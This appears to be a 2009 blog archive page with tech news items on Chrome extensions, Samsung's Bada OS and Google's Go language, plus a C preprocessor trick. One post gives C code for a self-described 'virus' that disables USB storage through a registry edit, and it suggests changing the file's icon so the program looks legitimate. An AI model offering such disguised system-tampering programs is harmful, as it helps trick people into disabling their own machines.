Thursday, November 26, 2009

Google herds coders into Chrome extensions gallery

Google is corralling developers into uploading their Chrome browser extensions to a new gallery that hasn’t been opened up to testers yet.
That will change for a select bunch of coding guinea pigs in the next few days, said Mountain View.
In the meantime, those developers who want to slot their add-ons into Chrome will be required to sign up to Google’s Ts&Cs before uploading their extensions into the gallery.
Under those terms, Google has the power to examine a developer’s extension before it gets published.
Chrome extensions Limited beta release
“For most extensions, the review process is fully automated,” wrote Google software engineer Lei Zheng on firm’s Chromium blog yesterday.
“The only extensions we'll review manually are those that include an NPAPI component and all content scripts that affect ‘file://’ URLs. For security reasons, developers of these types of extensions will need to provide some additional information before they can post them in the gallery.”
Just last week Mozilla confirmed plans to debut a "lockdown" feature in Firefox 3.6 to force third party application developers to toe the line by preventing them from adding their own code into the browser's components directory. ®

Thursday, November 19, 2009

6 Billion Others

6billion
6 Billion Others: Portraits of Humanity from Around the World 
is a project completed in January 2009 (?), by Yann Arthus Bertrand and is translated into a website and a book. See and interact with faces of people from all over the worldand watch and hear mini biographical excerpts from these people, answering questions like “What does love mean to you?” “What do you hope to teach your children?” “What does happy mean to you?”. It is a project that recognizes the universal life goals, desires and needs of people across the world as well as the cultural differences, opportunities and sometimes heartbreaking challenges that come from individual perspective and living in one place or another.

C Program Without a Main Function

How to write a C program without a main function?.Is it possible to do that.Yes there can be a C program without a main function.Here’s the code of the program without a main function…

#include
#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e)
int begin()
{
printf(” hello “);
}
Does the above program run without the main function? Yes, the above program runs perfectly fine even without a main function.But how,whats the logic behind it? How can we have a C program working without main ?
Here we are using preprocessor directive #define with arguments to give an impression that the program runs without main.But in reality it runs with a hidden main function.
The ‘##‘ operator is called the token pasting or token merging operator.That is we can merge two or more characters with it.
NOTE: A Preprocessor is program which processess the source code before compilation.
Look at the 2nd line of program-
#define decode(s,t,u,m,p,e,d) m##s##u##t
What is the preprocessor doing here.The macro decode(s,t,u,m,p,e,d) is being expanded as “msut” (The ## operator merges m,s,u & t into msut).The logic is when you pass (s,t,u,m,p,e,d) as argument it merges the 4th,1st,3rd & the 2nd characters(tokens).
Now look at the third line of the program-
#define begin decode(a,n,i,m,a,t,e)
Here the preprocessor replaces the macro “begin” with the expansion decode(a,n,i,m,a,t,e).According to the macro definition in the previous line the argument must de expanded so that the 4th,1st,3rd & the 2nd characters must be merged.In the argument (a,n,i,m,a,t,e) 4th,1st,3rd & the 2nd characters are ‘m’,'a’,'i’ & ‘n’.
So the third line “int begin” is replaced by “int main” by the preprocessor before the program is passed on for the compiler.That’s it…
The bottom line is there can never exist a C program without a main function.Here we are just playing a gimmick that makes us beleive the program runs without main function, but actually there exista a hidden main function in the program.Here we are using the proprocessor directive to intelligently replace the word begin” by “main” .In simple words int begin=int main.

A Virus Program to Disable USB Ports

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.


Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.
Virus to disable USB ports1.
//block_usb.c
#include
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}


2.
//unblock_usb.c
#include

void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}




3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post

Wednesday, November 11, 2009

Samsung launches Open Source mobile OSSamsung launches Open Source mobile OS


Bangalore: Samsung has launched its own operating system (OS) for mobile to compete against other open source platform, Symbian and Google Android. The OS is named Bada, which means 'ocean' in Korean, is an open platform that Samsung is hoping will attract both customers and developers to its devices. The company has not released several details about Bada, but said it will have a strong user interface, be developer friendly, and enable mobile operators to offer various content and services, according to InformationWeek.



The company also said it encourages integrating common experiences and functions across applications, which means core functionalities like the dialer, messaging, and address book will be open to developers. Users will also eventually be able to download Bada applications over the air from Samsung's Application Store. "By opening Samsung's mobile platforms we will be able to provide rich mobile experiences on an increasing number of accessible smartphones," said Hosoo Lee, Executive Vice President at Samsung, in a statement.

Samsung is jumping into the already crowded and highly competitive area of mobile platforms and will be competing against Microsoft, Google, Symbian, Apple, Research In Motion, and Palm.

Samsung also said the Bada software development kit will be released in December, and handsets with the OS are expected to arrive in 2010. Samsung has not made it clear whether the company will continue to manufacture smartphones with Android or Windows Mobile once Bada is ready to go.

Google plans to restructure programming with Go

Bangalore: Google software luminaries such as Unix Co-creator Ken Thompson believe that they can help boost both computing power and programmers' abilities with an experimental programming language project called Go.

The language has been tested internally at Google, but is still at an experimental stage, so the search giant is releasing it as open-source code in the hope that it will get help with its future development. "We developed Go because we had become a bit frustrated with how difficult software development has become in the last 10 years or so," said Rob Pike, Principal Software Engineer at Google.



So far, Google's Go project consists of the programming language, compilers to convert what programmers write into software that computers can run and a runtime package that endows Go programs with a number of built-in features. It's most similar to C and C++, but, Pike said, it employs modern features and has enough versatility that it could even be used within web browsers, reports CNET News.

Go aims to improve on the way existing programming languages manage dependencies, which are the software components that applications re-use, such as libraries, Pike said. The language is also designed to handle multiprocessor work particularly well, thanks to its concurrent programming model.

Google started working on Go about two years ago and devoted a team to work on it full time about a year ago. It was conceived as a language for systems programming, such as web servers, storage systems and databases. However, Google is open to seeing it branch out into other areas.

At this point, Go is not used in any user-facing Google service or application, since it still has to mature, which is where external programmers come into the picture. "We need better libraries and tools, and the open-source community is great at helping you with things like that," Pike said.

By creating a new programming language, Google continues making inroads into the realm of computing building blocks, prompted by a sense of urgency at making them better. This motivation has also led Google to embark on developing the Android mobile operating system, the Chrome PC browser and the still-unreleased Chrome operating system.